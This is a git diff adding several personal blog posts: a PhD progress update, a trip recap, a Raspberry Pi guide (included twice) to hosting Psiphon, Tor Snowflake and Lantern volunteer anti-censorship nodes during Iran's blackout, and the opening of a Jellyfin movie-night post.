+BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles= +=ranU +-----END PGP SIGNATURE----- diff --git a/static/sources/PhD_journey/june_2026.md b/static/sources/PhD_journey/june_2026.md new file mode 100644 index 0000000..9b79202 --- /dev/null +++ b/static/sources/PhD_journey/june_2026.md @@ -0,0 +1,20 @@ ++++ +title = 'June 2026' +date = 2026-06-23T20:00:07Z +draft = false ++++ + +Ok, it's been so so so long! I haven't been writing, once again, because I've been too busy with fixing my life. +Let me summerize these past many months: + +- I finished my coursework for my prep phase +- I was added to a colleagues project and we submited it to IMC +- I submitted a poster to TMA, and I will be present it at the end of this month (June) +- I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. +- I am a tutor at data networks, and I think I'm doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. + + + +--- + +{{< sigdl >}} diff --git a/static/sources/PhD_journey/june_2026.md.asc b/static/sources/PhD_journey/june_2026.md.asc new file mode 100644 index 0000000..ecee475 --- /dev/null +++ b/static/sources/PhD_journey/june_2026.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5 +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc= +=hIg9 +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/2025_highlight.md b/static/sources/posts/2025_highlight.md new file mode 100644 index 0000000..6160ab8 --- /dev/null +++ b/static/sources/posts/2025_highlight.md @@ -0,0 +1,17 @@ ++++ +title = '2025 Highlight' +date = 2026-01-05T18:53:54Z +draft = false ++++ + +I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. + +After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend's NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We've been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I'm getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc.. + +Bonus: Remember I said we went to a Sushi place? I've been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I'm so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that "we were eating across the hall, and I noticed how pretty she is!". They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn't want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa. + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/2025_highlight.md.asc b/static/sources/posts/2025_highlight.md.asc new file mode 100644 index 0000000..c489c3d --- /dev/null +++ b/static/sources/posts/2025_highlight.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11 +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8 +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5 +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0 +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2 +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1 +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4 +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0= +=T3Em +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/backout.md b/static/sources/posts/backout.md new file mode 100644 index 0000000..2b2e376 --- /dev/null +++ b/static/sources/posts/backout.md @@ -0,0 +1,341 @@ ++++ +title = 'Backout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/static/sources/posts/backout.md.asc b/static/sources/posts/backout.md.asc new file mode 100644 index 0000000..28fdb94 --- /dev/null +++ b/static/sources/posts/backout.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSrR9Q/+LRsLjKWExUfiGl6tJ6N9hircIhvYJkjA/Bn9IcXkkWlPgwWx6r8uWxvV +09c5AOvZFpnh2lZg2u/aCWL6jQpHE5A2XNp4CXaOYpFXgrIgeuHnWSHKm9LpQ9YO +7SNYc7QespDh2u8HM5Z2bzSIiH/42Y6dNBg4Doif8rd7ZGs7m9w67KUVFzK7mYoN +6FVOFaFnb0KWhG0kKuqi9yKyjiqC503HDO8mx0ZMU/6yTprH4OEyzC1u+U4rwIUx +HozKywr26SMVyuPRsHdRF5Pwl1S/UZo1JTpUwnJG634tR4XraDQFvAuzX8NGN86W +f4NfKJxukjGLsm7NYXh/uWqt21uMpCODaX2BPZtmJY7hS8eOF+rHxwo3q/58ot// +cejN07L5knLYAjKUBIoTAZIhoVsZSp/iTHTRllh8q7qf8ZUM6vsBvkfR8oDzvjZx +ZzGIRujPOrFlB26WTbSQcX4z/NjRdlPqLJ/bQchQSFP8kOs6XvavbloiZXi79XK1 +ACnqvEVUzH9L8KyfDf9GO6xUZInpazTdn7mqELGpLJ7KPX47zFr8NK11tp3M1Ln7 +nduXo/aqgecUFigixde58W5DXGZMBvDU3yfCyMGoD/q5N5kDrQvFe9KK+Yuw8xd3 +5JUVvtYmX2q58gsvpwVrFlnDpXyfOXVNn1ETQZU34ZhFZ2OsEPQ= +=RIxO +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/blackout.md b/static/sources/posts/blackout.md new file mode 100644 index 0000000..d5c0a16 --- /dev/null +++ b/static/sources/posts/blackout.md @@ -0,0 +1,341 @@ ++++ +title = 'Blackout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/static/sources/posts/blackout.md.asc b/static/sources/posts/blackout.md.asc new file mode 100644 index 0000000..d511614 --- /dev/null +++ b/static/sources/posts/blackout.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7 +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw= +=t4W3 +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/boredom.md b/static/sources/posts/boredom.md new file mode 100644 index 0000000..8074749 --- /dev/null +++ b/static/sources/posts/boredom.md @@ -0,0 +1,167 @@ +--- +title: "Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4" +date: 2025-12-21T09:30:00+01:00 +draft: false +description: "A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later." +tags: ["raspberrypi", "jellyfin", "tailscale", "docker", "homelab", "movienight"] +showToc: true +TocOpen: true +--- + +Ok. Let me tell you the why first. So.... I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn't hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It's funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself "let't message one of my two best friends", We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. + +I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and 